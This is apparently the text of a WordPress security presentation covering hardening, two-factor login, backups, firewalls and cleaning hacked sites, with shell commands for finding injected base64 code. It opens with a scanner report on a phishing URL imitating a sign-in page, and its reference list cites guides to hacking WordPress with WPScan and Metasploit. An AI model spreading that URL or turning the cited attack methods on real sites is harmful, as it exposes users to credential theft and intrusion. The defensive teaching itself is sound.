**URL:** http://fashion-vogue.org/bill1and1/signin/31d231def58d508b5ba282f7c9bd297a/loginauth.php?country.x=&locale.x=&SEC.x=ID-PA045ee28688f178a5d8fa190b6387beb&home?$1$b6CZO2V5wDVhvez0MI9bTjUu3KXcvX.$1$b6CZO2V5wDVhvez0MI9bTjUu3KXcvX.$1$b6CZO2V5wDVhvez0MI9bTjUu3KXcvX.$1$b6CZO2V5wDVhvez0MI9bTjUu3KXcvX.*$1$b6CZO2V5wDVhvez0MI9bTjUu3KXcvX.*$1$b6CZO2V5wDVhvez0MI9bTjUu3KXcvX.*$1$b6CZO2V5wDVhvez0MI9bTjUu3KXcvX.*$1$b6CZO2V5wDVhvez0MI9bTjUu3KXcvX.*

**Detection ratio:** 2 / 64

**Analysis date:** 2017-04-25 15:03:41 UTC (0 minutes ago)

**File scan:** Go to downloaded file analysis

<table>
<thead>
<tr>
<th>URL Scanner</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fortinet</td>
<td>Phishing site</td>
</tr>
<tr>
<td>Google Safebrowser</td>
<td>Phishing site</td>
</tr>
</tbody>
</table>
If your web admin’s computer is infected with Remote Access Trojan or Keylogger malware, cyber-attackers can watch what they are doing, and everything we are going to discuss would be pointless.

- Install a good anti-malware product on Windows PCs and Macs, too.
- Run a scan to find and destroy any malware
- Set up real-time or automatic daily scanning. Once a week is not enough.
Security is the goal

PROTECTING YOUR WEBSITE
WHEN STARTING A NEW SITE

- These items are easiest to do if you are starting from scratch
  - Choose a good host
  - Rename the Administrator Account
  - Change the default table prefix from wp_ to something else
  - Delete the Sample Page
  - Delete the Sample Post (“Hello World”)
Welcome to WordPress. Before getting started, we need some information on the database. You will need to know the following items before proceeding.

1. Database name
2. Database username
3. Database password
4. Database host
5. Table prefix (if you want to run more than one WordPress in a single database)

We're going to use this information to create a wp-config.php file. If for any reason this automatic file creation doesn't work, don't worry. All this does is fill in the database information to a configuration file. You may also simply open wp-config-sample.php in a text editor, fill in your information, and save it as wp-config.php. Need more help? We got it.

In all likelihood, these items were supplied to you by your Web Host. If you don't have this information, then you will need to contact them before you can continue. If you're all ready...

Let's go!
Below you should enter your database connection details. If you're not sure about these, contact your host.

**Database Name**

- Name: wordpress
  - The name of the database you want to use with WordPress.

**Username**

- Name: username
  - Your database username.

**Password**

- Name: password
  - Your database password.

**Database Host**

- Name: localhost
  - You should be able to get this info from your web host, if localhost doesn't work.

**Table Prefix**

- Name: wp_
  - If you want to run multiple WordPress installations in a single database, change this.

[Submit]
All right, sparky! You’ve made it through this part of the installation. WordPress can now communicate with your database. If you are ready, time now to...

Run the install
Welcome

Welcome to the famous five-minute WordPress installation process! Just fill in the information below and you’ll be on your way to using the most extendable and powerful personal publishing platform in the world.

Information needed

Please provide the following information. Don’t worry, you can always change these settings later.

- **Site Title**: Your Site Name
- **Username**: NOT-admin-or-name

  Usernames can have only alphanumeric characters, spaces, underscores, hyphens, periods, and the @ symbol.

- **Password**: QBlde7R9orFcSnUtU

  Important: You will need this password to log in. Please store it in a secure location.

- **Your Email**: your@email.com

- **Search Engine Visibility**: Discourage search engines from indexing this site

  It is up to search engines to honor this request.

[Install WordPress]
Secure User Accounts

- Secure the Administrator Account
  - Do not use “admin” or your name for the administrator account name.
  - Too late? Create a NEW administrator account and delete or disable the old one.
- Use “Editor” account for content work and blog posts
  - Editor can write and publish posts, and modify posts of others.
- If you have a multi-user blog, limit permissions
  - Author can write and publish their own posts
  - Contributor can write their own posts but not publish
  - Subscriber can only read posts.
Add New User

Hey bobwyzguy, You were using Acurax Social Media Widget Wordpress Plugin for the last 717 Days, and hope you are enjoying it. From the bottom of our heart, we the team @ Acurax Technologies thank you for being with us, and we appreciate your feedback, reviews and support.

Rate 5☆ On Wordpress  Premium Version Benefits  Hide For Now

Create a brand new user and add them to this site.

Username (required)  not-admin

Email (required)  name@email.com

First Name  First

Last Name  Last

Website  www.mysite.com

Password

Send User Notification  Send the new user an email about their account.

Role

- Subscriber
- Contributor
- Author
- Editor
- Administrator

Add New User
STRENGTHEN YOUR PASSWORD

- Always use strong (long) passwords
  - Use a unique and complex password of at least 12 characters
  - Use **WordFence** or **LastPass** to generate random passwords
  - Test your password strength at **Passfault.com**
  - WordPress will calculate password strength for you
  - Sign up for a free **LastPass** account to make creating and remembering strong passwords easier.
Welcome to passfault
Paving the road to secure passwords

Because passwords can be less annoying, more intuitive, and useful.

What  Why  How  Policies  Try it  Beta  Open Source

Enter a Password, and click Analyze

Show Examples  Show Options

Passwords will be searched for these patterns:

- Dictionary Word
- Dictionary Word
- Dictionary Word
- Dictionary 1337
- Dictionary drow
- Dictionary
- Dictionary
- Dictionary
- Dictionaries
  - English
  - Latin
  - Spanish
  - US Cities
  - Extendible...

- Repeated
- Random
- Keyboards: US, English, Russian, European
- Key Sequence
- Key Sequence
- Key Sequence

- 123
- Latin & Cyrillic
- Horizontal
- Diagonal
- Repeated
Simplify employee access.

Don't let passwords slow your business down. LastPass helps companies manage and secure every login.

Start a Teams Trial
For simple team sharing

Start an Enterprise Trial
For IT-level control

Take control over the unknown.

No matter the size or security needs of your organization, we've got the perfect password manager for you.
TWO FACTOR AUTHENTICATION

- Use two factor authentication
  - **miniOrange 2 Factor Authentication** supports a variety of methods
    - Phone Call, SMS, Email Verification, QR Code, Push, Soft Token, Google Authenticator, Authy, Security Questions(KBA)
  - **WordFence** offers 2FA natively in premier edition.

- Or use a CAPTCHA
  - An acronym for "Completely Automated Public Turing test to tell Computers and Humans Apart"
Validate OTP

Please enter the one time passcode shown in the Google Authenticator app.

Enter one time passcode

Validate

Forgot Phone?
BASIC WORDPRESS SECURITY

- Allow WordPress to update automatically
  - Always use the most current version
- Update your Plug-ins and Themes
- Only Use Plugins and Themes From Trusted Sources
- Delete Plug-ins and Themes You Don’t Use
- Delete Plug-ins that are reported as unsafe.
- Block or disable pingbacks and trackbacks
Add a backup plug-in to your website – if you are hijacked, at least you will have a recent copy.

- Updraft Plus
- BackupWordPress
- BackupBuddy

Download and save copy to your computer, a flash drive, or an external drive occasionally.
**Files backup schedule:**
- Weekly
- Starting from next time it is Sunday 00:05
- Retain this many scheduled backups: 2

*Add an additional retention rule...*

**Database backup schedule:**
- Daily
- Starting from next time it is 00:05
- Retain this many scheduled backups: 5

*Add an additional retention rule...*

**Choose your remote storage (as many as you like):**

<table>
<thead>
<tr>
<th>Service</th>
<th>Service</th>
<th>Service</th>
</tr>
</thead>
<tbody>
<tr>
<td>UpdraftPlus Vault</td>
<td>Microsoft OneDrive</td>
<td>WebDAV</td>
</tr>
<tr>
<td>Dropbox</td>
<td>FTP</td>
<td>S3-Compatible (Generic)</td>
</tr>
<tr>
<td>Amazon S3</td>
<td>Microsoft Azure</td>
<td>OpenStack (Swift)</td>
</tr>
<tr>
<td>Rackspace Cloud Files</td>
<td>SFTP / SCP</td>
<td>DreamObjects</td>
</tr>
<tr>
<td>Google Drive</td>
<td>Google Cloud</td>
<td>Email</td>
</tr>
</tbody>
</table>
WyzGuys Cybersecurity: Backup Report

Backup made by UpdraftPlus 2.14.4.22

Backup of: http://wyzguyscybersecurity.com

Latest status: The backup apparently succeeded and is now complete

Backup began: 2018-03-27 07:15

Contains: Database only (files were not part of this particular schedule)

Errors / warnings: 0 errors, 0 warnings

Time taken: 0 hours, 0 minutes, 27 seconds

Uploaded to: UpdraftPlus Vault (Current use: 4681 / 1024 MB (45.8%) - Get more quota)
INSTALL A SECURITY PLUG-IN

- Recommended Plug-ins
  - **WordFence Security** – This is the one I use
  - **Sucuri** (also works with Joomla and other CMS sites) – Tried it, liked it
  - **BulletProof Security** – Another good option I tried.
- Limit logon attempts to thwart brute-force attempts
- Scan website for malware regularly.
- Use Geo-blocking if you can.
Brute Force Login Security Options

- **Enforce strong passwords**
  - Force all members to use strong passwords
- **Lock out after how many login failures**
  - 5
- **Lock out after how many forgot password attempts**
  - 5
- **Count failures over what time period**
  - 10 minutes
- **Amount of time a user is locked out**
  - 1 hour
- **Immediately lock out invalid usernames**
- **Don't let WordPress reveal valid users in login errors**
- **Prevent users registering 'admin' username if it doesn’t exist**
- **Prevent discovery of usernames through /?author=N scans, the oEmbed API, and the WordPress REST API**
- **Immediately block the IP of users who try to sign in as these usernames**
  - admin
Site Activity in Real-Time

Wordfence Live Activity: Idle

Filter Traffic: All Hits

United Kingdom visited http://wyzguyscybersecurity.com/feed/
Browser: IE version 9.0 running on Win7
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)

Block this IP  Block this network  Run WHOIS on 88.150.228.218  See recent traffic

Mountain View, United States visited http://www.wyzguyscybersecurity.com/
Browser: undefined
Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Block this IP  Block this network  Run WHOIS on 66.249.69.221  See recent traffic

Mountain View, United States visited http://www.wyzguyscybersecurity.com/robots.txt
Browser: undefined
Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Block this IP  Block this network  Run WHOIS on 66.249.69.221  See recent traffic
A web app firewall routes traffic to your site through servers that look for suspicious or malicious behavior, and block it from getting to your site.

Often part of your security plug-in when you pay for premium.

- **WordFence** – endpoint firewall installed in WordPress
- **Sucuri** – cloud firewall
- **CloudFlare** – cloud firewall
Wordfence Web Application Firewall

Wordfence Live Activity: Idle

Web Application Firewall  Brute Force Protection  Rate Limiting

Learn more about the Wordfence Web Application Firewall

You are running the Premium version of the Threat Defense Feed which is updated in real-time as new threats emerge. Protect additional sites.

**Protection Level**

**Firewall Status**

**Extended Protection**

In this mode, the Wordfence Web Application Firewall is actively blocking requests matching known attack patterns, and is actively protecting your site from attackers.

SAVE

**Rules**

<table>
<thead>
<tr>
<th>Enabled</th>
<th>Category</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>✔️</td>
<td>whitelist</td>
<td>Whitelisted URL</td>
</tr>
<tr>
<td>✔️</td>
<td>Ifi</td>
<td>Slider Revolution: Local File Inclusion</td>
</tr>
</tbody>
</table>
WEB APPLICATION FIREWALL PREVENTS:

- **SQL Injection**: Insecure SQL code that can compromise a database system.
- **Cross Site Scripting (XSS)**: Insecure HTML or JavaScript code used to hijack a user or administrator's browser session and perform actions as the user.
- **Malicious File Upload**: Insecure files containing malicious code that can be uploaded to and executed by the web server.
WEB APPLICATION FIREWALL PREVENTS:

- **Directory Traversal**: Insecure path names that can be used to trick the web server into serving files containing credentials or other potentially sensitive information.

- **Local File Inclusion**: Insecure path/file names that can be used to execute potentially malicious code available to the web server's file system.

- **External Entity Expansion (XXE)**: A "feature" of XML that can be used to trick the web server into serving files containing credentials or other potentially sensitive information.
ADVANCED WEBSITE SECURITY

But wait, there's more!
CHANGE YOUR WORDPRESS SECURITY KEYS

- Use plug-in such as Salt Shaker
- Or generate your own keys at Wordpress.org
- Then modify your wp-config.php file

```php
/**
 * Authentication Unique Keys.
 *
 * Change these to different unique phrases!
 * You can generate these using the [link https://api.wordpress.org]
 * You can change these at any point in time to invalidate all exist
 * @since 2.6.0
 */

define('AUTH_KEY', 'put your unique phrase here');
define('SECURE_AUTH_KEY', 'put your unique phrase here');
define('LOGGED_IN_KEY', 'put your unique phrase here');
define('NONCE_KEY', 'put your unique phrase here');
```
USE .HTACCESS

- Write your own or use a plug-in
- Protect WP admin area
- Password protect WP admin folder
- Disable directory browsing
- Disable PHP execution in certain directories
- Protect your wp-config.php file
DISABLE XML-RPC

- Disable XML-RPC by deleting `xmlrpc.php` file.
- Can allow an attacker to perform password guessing attacks.
- Older versions can allow attackers to target other websites via your site.
- Disabling this service may lose important site functionality.
REVIEW SECURITY LOGS

- Who is accessing site
- What are they looking at
- Where is the traffic coming from
- WP Security Audit Log
<table>
<thead>
<tr>
<th>Code</th>
<th>Type</th>
<th>Date</th>
<th>Username</th>
<th>Source IP</th>
<th>Message</th>
</tr>
</thead>
<tbody>
<tr>
<td>1003</td>
<td>⚠️</td>
<td>06-21-2017 8:02:854 AM</td>
<td>❯ System</td>
<td>86.57.154.229</td>
<td>1 failed login(s) detected using non existing user.</td>
</tr>
<tr>
<td>1003</td>
<td>⚠️</td>
<td>06-21-2017 7:48:822 AM</td>
<td>❯ System</td>
<td>202.9.42.254</td>
<td>2 failed login(s) detected using non existing user.</td>
</tr>
<tr>
<td>6000</td>
<td>⚠️</td>
<td>06-21-2017 7:46:461 AM</td>
<td>❯ System</td>
<td>74.208.16.144</td>
<td>System automatically deleted 12 alert(s).</td>
</tr>
<tr>
<td>6007</td>
<td>⚠️</td>
<td>06-21-2017 7:43:902 AM</td>
<td>❯ Website Visitor</td>
<td>108.174.5.115</td>
<td>Has requested a non existing page (404 Error Pages) 1 times. Download the Log file.</td>
</tr>
<tr>
<td>6007</td>
<td>⚠️</td>
<td>06-21-2017 7:40:768 AM</td>
<td>❯ bobwyzguy, Administrator, Superadmin</td>
<td>73.228.229.184</td>
<td>Has requested a non existing page (404 Error Pages) 1 times. Download the Log file.</td>
</tr>
<tr>
<td>1003</td>
<td>⚠️</td>
<td>06-21-2017 7:37:616 AM</td>
<td>❯ System</td>
<td>106.68.79.132</td>
<td>2 failed login(s) detected using non existing user.</td>
</tr>
</tbody>
</table>
DISABLE PHP ERROR REPORTING

- PHP error reporting is for de-bugging
- Showing PHP errors to site visitors may reveal exploitable coding errors.
- Change the *php.ini* file or *wp-config.php* file
Formerly Google Webmaster Tools

You will be notified by Google if malicious things are happening to your website
Effective July 2018, Google’s Chrome browser will mark non-HTTPS sites as ‘not secure’

- HTTPS site sessions are encrypted
- Adding encryption is inexpensive
  + Lets Encrypt
- Can affect search results and page rank
Sign up for website security emails

- WyzGuys Cybersecurity blog  [www.wyzguyscybersecurity.com](http://www.wyzguyscybersecurity.com)
- Sucuri Security blog  [https://blog.sucuri.net/](https://blog.sucuri.net/)
CLEANING A HIJACKED OR INFECTED WEBSITE
HAVE I REALLY BEEN HACKED?

- Spam and advertising in headers or footers for pornography, drugs, illegal services
- Search Google using site:mysite.com (replace mysite with your domain.
  - Look for pages that you don’t recognize or have unusual names.
- Your users report being redirected to other sites
- Your web host reports that your site is potentially malicious or spammy.
urlQuery.net

What is urlquery.net

urlquery.net is a free online service for testing and analyzing URLs, helping with identification of malicious content on websites. The main focus of urlquery.net is to find and detect suspicious and malicious content on webpages, to help improve the security industry and make the internet a safer place.
# Overview

<table>
<thead>
<tr>
<th>URL</th>
<th>wyzguyscybersecurity.com</th>
</tr>
</thead>
<tbody>
<tr>
<td>IP</td>
<td>74.208.236.136</td>
</tr>
<tr>
<td>ASN</td>
<td>AS8560 1&amp;1 Internet AG</td>
</tr>
<tr>
<td>Location</td>
<td>United States</td>
</tr>
<tr>
<td>Report completed</td>
<td>2018-03-28 16:08:13 CEST</td>
</tr>
<tr>
<td>Status</td>
<td>Report complete.</td>
</tr>
<tr>
<td>urlQuery Alerts</td>
<td>No alerts detected</td>
</tr>
</tbody>
</table>

# Settings

<table>
<thead>
<tr>
<th>UserAgent</th>
<th>Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/201001203 Firefox/3.6.13</th>
</tr>
</thead>
<tbody>
<tr>
<td>Referer</td>
<td></td>
</tr>
<tr>
<td>Pool</td>
<td></td>
</tr>
<tr>
<td>Access Level</td>
<td></td>
</tr>
</tbody>
</table>
Blacklists

<table>
<thead>
<tr>
<th>Service</th>
<th>Alerts</th>
</tr>
</thead>
<tbody>
<tr>
<td>MDL</td>
<td>No alerts detected</td>
</tr>
<tr>
<td>OpenPhish</td>
<td>No alerts detected</td>
</tr>
<tr>
<td>PhishTank</td>
<td>No alerts detected</td>
</tr>
<tr>
<td>Fortinet's Web Filter</td>
<td>No alerts detected</td>
</tr>
<tr>
<td>DNS-BH</td>
<td>No alerts detected</td>
</tr>
<tr>
<td>mnemonic secure dns</td>
<td>No alerts detected</td>
</tr>
</tbody>
</table>

Recent reports on same IP/ASN/Domain

No other reports on IP: 74.208.236.136

Last 10 reports on ASN: AS8560 18.1 Internet AG

<table>
<thead>
<tr>
<th>Date</th>
<th>UQ / IDS / BL</th>
<th>URL</th>
<th>IP</th>
</tr>
</thead>
<tbody>
<tr>
<td>2018-03-28 15:34:17 +0200</td>
<td>0 - 0 - 0</td>
<td>87.106.83.127</td>
<td>87.106.83.127</td>
</tr>
<tr>
<td>2018-03-28 15:06:59 +0200</td>
<td>0 - 0 - 0</td>
<td>cdromsupport.windowsreinstall.com</td>
<td>217.160.0.200</td>
</tr>
<tr>
<td>2018-03-28 14:35:42 +0200</td>
<td>0 - 0 - 0</td>
<td><a href="https://deref-mail.com/mail/client/c62zd4mMr(...)">https://deref-mail.com/mail/client/c62zd4mMr(...)</a></td>
<td>74.208.191.224</td>
</tr>
<tr>
<td>2018-03-28 14:34:20 +0200</td>
<td>0 - 0 - 0</td>
<td>74.208.191.194</td>
<td>74.208.191.194</td>
</tr>
<tr>
<td>2018-03-28 13:32:59 +0200</td>
<td>0 - 0 - 0</td>
<td>entel.com</td>
<td>216.250.121.16</td>
</tr>
<tr>
<td>2018-03-28 12:45:11 +0200</td>
<td>0 - 0 - 0</td>
<td><a href="http://www.dgmaxinteractive.com">www.dgmaxinteractive.com</a></td>
<td>216.250.120.40</td>
</tr>
<tr>
<td>2018-03-28 12:32:26 +0200</td>
<td>4 - 0 - 0</td>
<td>jihanencouhaila.ddns.net</td>
<td>217.160.176.230</td>
</tr>
<tr>
<td>2018-03-28 11:40:57 +0200</td>
<td>0 - 0 - 0</td>
<td><a href="https://deref-gmx.net/mail/client/Q3l8qtC0xA(...)">https://deref-gmx.net/mail/client/Q3l8qtC0xA(...)</a></td>
<td>217.72.201.187</td>
</tr>
</tbody>
</table>

No other reports on domain: wyzguyscybersecurity.com

JavaScript

Executed Scripts (46)
Executed Evals (0)
Executed Writes (0)
## HTTP Transactions (84)

<table>
<thead>
<tr>
<th>Request</th>
<th>Response</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET / HTTP/1.1 Host: wyzguycybersecurity.com</td>
<td><img src="74.208.236.136" alt="74.208.236.136" /> HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8</td>
</tr>
<tr>
<td>GET /js/plusone.js HTTP/1.1 Host: apis.google.com</td>
<td><img src="216.58.211.14" alt="216.58.211.14" /> HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8</td>
</tr>
<tr>
<td>GET /wp-includes/js/wp-emoji-release.min.js?ver=dbff83fa51b5883e2afee9b41f0fedefad HTTP/1.1 Host: wyzguycybersecurity.com</td>
<td><img src="74.208.236.136" alt="74.208.236.136" /> HTTP/1.1 200 OK Content-Type: application/javascript</td>
</tr>
<tr>
<td>GET /wp-content/plugins/socialie/css/socialie.css?ver=dbff83fa51b5883e2afee9b41f0fedefad HTTP/1.1 Host: wyzguycybersecurity.com</td>
<td><img src="74.208.236.136" alt="74.208.236.136" /> HTTP/1.1 200 OK Content-Type: application/javascript</td>
</tr>
<tr>
<td>GET /wp-content/themes/Karma/css/karma-golden.css?ver=dbff83fa51b5883e2afee9b41f0fedefad HTTP/1.1 Host: wyzguycybersecurity.com</td>
<td><img src="74.208.236.136" alt="74.208.236.136" /> HTTP/1.1 200 OK Content-Type: text/css</td>
</tr>
<tr>
<td>GET /wp-content/themes/Karma/css/secondary-golden.css?ver=dbff83fa51b5883e2afee9b41f0fedefad HTTP/1.1 Host: wyzguycybersecurity.com</td>
<td><img src="74.208.236.136" alt="74.208.236.136" /> HTTP/1.1 200 OK Content-Type: text/css</td>
</tr>
</tbody>
</table>
Login to your web server using SSH.

Use the `find` command to find changed files
- `find . -mtime -2 -ls` finds files changed in the last two days
- `find /home/mydirectory/mysite/ -mtime -10 -ls` searches website for files changed in the last ten days
  - Increase number of days until you see when the files changed
To find files that contain base64 code (commonly used by hackers)

Base64 can be used in legitimate code

- `grep -ril base64 *` This lists file names only
- `grep -ri base64 *` This will show file contents as well
- `Grep -include=* .php -rn . -e "base64_decode"` This searches all files recursively that end with .php for the string “base64_decode” and print the line number so you can find the code and the context it is running in.
MORE GREP

- Once you find a common string in the malicious files you can search for more occurrences.
  - `grep -irl "your site was hacked"`

- Common location for malicious files is the upload directory in WordPress. This command locates non-image files in this directory.
  - `Find public_html/wp-content/uploads/ -type f -not -name "*.jpg" -not -name "*.gif" -not -name "*.jpeg" >uploads-non-binary.log`
Yes – **backup** your hacked site. In case of catastrophic loss, this gives you a way to go back and start over.

If you are confident you have found the date of the compromise, you can **restore** your site using a backup you took before the site was compromised.

Test your restored backup for malicious content

Restore from earlier backup if necessary
MANUAL CLEANING

- When deleting files, delete the entire directory, not just the files.
- You can delete anything in the wp-content/plugins directory.
- You should only have one theme in wp-content/themes.
- The wp-admin and wp-includes directories rarely contain new files. New files are probably malicious and can be removed.
- Delete old WordPress installations and backups. Often used by attackers.
SPECIFIC CLEANING GUIDES

- From Wordfence
  - Removing Malicious Redirects From Your Site
  - Finding and Removing Backdoors
  - Removing Spam Pages From WordPress Sites
  - Finding and Removing Spam Links
  - Removing Phishing Pages From WordPress Sites
  - Removing Malicious Mailer Code From Your Site
  - Finding and Removing Malicious File Uploaders
  - WordPress Defacement Page Removal
  - How to Remove Suspicious Code From WordPress Sites
CLEAN YOUR SITE WITH WORDFENCE

- Upgrade to latest version of WordPress.
- Upgrade all themes and plugins.
- Change all site, server, and hosting account passwords.
- Make a backup
- Wordfence options – everything is selected including files outside of WordPress installation.
- Wordfence will display a list of infected files
CLEAN YOUR SITE WITH WORDFENCE

- Work through the list, editing or deleting files as necessary
- Look for changed core, theme, and plugin files
- Use Wordfence option compare original and changed files
- Use Wordfence option to repair the files.
- When done, run another scan to confirm site is clean
- When all else fails, Wordfence support staff can clean your site for a fee.
REPAIRING YOUR REPUTATION

- Checking Google Safe Browsing List

- Get removed from the Google Safe Browsing list.
  - Add your site if you haven’t already.
  - Verify your site, following Google’s instructions.
  - On the Webmaster Tools home page, select your site.
  - Click **Site status**, and then click **Malware**.
  - Click **Request a review**.
OTHER BROWSERS AND ANTI-MALWARE ALERTS

- You may have to contact other browser manufacturers to have your site removed from their blacklist.
- You will need to contact each anti-malware vendor that alerts on your site, and ask to be tested and removed from their blacklist.
The shopping list

RECOMMENDED SOLUTIONS
RECOMMENDED PLUG-INS

- **WordFence**
  - pay for the Pro version and get the WAF
  - Built in 2FA
- **WP Security Audit Log**
- **miniOrange 2 Factor Authentication**
- **Updraft Plus**
- **Akismet** for spam comments
- **Salt Shaker** to harden WordPress keys
REVELATIONS

- When I added **WordFence Security**, I was able to see dozens of daily brute force log-in attempts for the first time. It was awe-inspiring.
- When I added **miniOrange 2 Factor Authentication**, brute force login software no longer worked, and they stopped almost completely.
RESOURCES

- WordPress Security Learning Center
  www.wordfence.com/learn/

- How To Secure WordPress
  www.hostingfacts.com/how-to-secure-wordpress/

- WordPress Security Wizard: Lock Down Your WordPress Site From Hackers by Rolland Dhar

  www.makeawebsitehub.com/wordpress-security/
Google Search Console - https://www.google.com/webmasters/tools/

LastPass password manager – www.lastpass.com

Google Authenticator - https://support.google.com/accounts/answer/1066447?hl=en

Authy - https://www.authy.com/

How to use .htaccess –

+ http://www.htaccess-guide.com/how-to-use-htaccess/
+ http://www.wpbeginner.com/wp-tutorials/9-most-useful-htaccess-tricks-for-wordpress/
RESOURCES

- Editing wp-config - https://codex.wordpress.org/Editing_wp-config.php
- PHP error reporting - https://codex.wordpress.org/Editing_wp-config.php#Configure_Error_Logging
- URL and website malware scanning - https://urlquery.net/about
On WordFence site

- [https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/](https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/)
- [https://www.wordfence.com/blog/2018/03/cleaning-a-hacked-website](https://www.wordfence.com/blog/2018/03/cleaning-a-hacked-website)
  - Removing Malicious Redirects From Your Site
  - Finding and Removing Backdoors
  - Removing Spam Pages From WordPress Sites
  - Finding and Removing Spam Links
  - Removing Phishing Pages From WordPress Sites
  - Removing Malicious Mailer Code From Your Site
  - Finding and Removing Malicious File Uploaders
  - WordPress Defacement Page Removal
  - How to Remove Suspicious Code From WordPress Sites
Higher Order WP Security  
Dougal Campbell  
9-2012  

How to hack into a WordPress website, the complete guide  
30th May 2016 Ogi Djuraskovic  
https://firstsiteguide.com/hack-wordpress-complete-guide/

How To Hack A WordPress Website Using WPScan And Metasploit  
August 2, 2017 Sunny Hoi  
https://www.sunnyhoi.com/hack-wordpress-website-using-wpscan-metasploit/

Testing WordPress Password Security with Metasploit  
Peter X  
June 1 2011  
https://hackertarget.com/testing-wordpress-password-security-with-metasploit/

WordPress Penetration Testing using WPScan & Metasploit  
Raj Chandel  
9-27-2017  
http://www.hackingarticles.in/wordpress-penetration-testing-using-wpscan-metasploit/

Gain Control of WordPress by Exploiting XML-RPC  
Evil Toddler  
1-30-2017  
Your Site Reputation Makes You a Target Mark Maunder 1-10-2017

The One Valuable Thing All Websites Have: Reputation (and Why It's Attractive to Phishers) 11-9-2017 Troy Hunt

Scammers Hosted Files on Equifax's Australian Website Jeremy Kirk 10-3-2017

How to Clean a Hacked WordPress Site using Wordfence Mark Maunder 3-8-2018
https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/

New Guides From Wordfence To Help Clean a Hacked Website Mark Maunder 3-8-2018
https://www.wordfence.com/blog/2018/03/cleaning-a-hacked-website

Ask Wordfence: Why Is an Insignificant Site Like Mine Being Attacked? Mark Maunder 3-14-2018

Thanks for your participation

END OF SECTION 2 - SECURING WORDPRESS
Feel free to take a business card if you want to contact me.

+ bob@wyzguys.com
+ 651 387-1668
+ Or just Google “WyzGuys”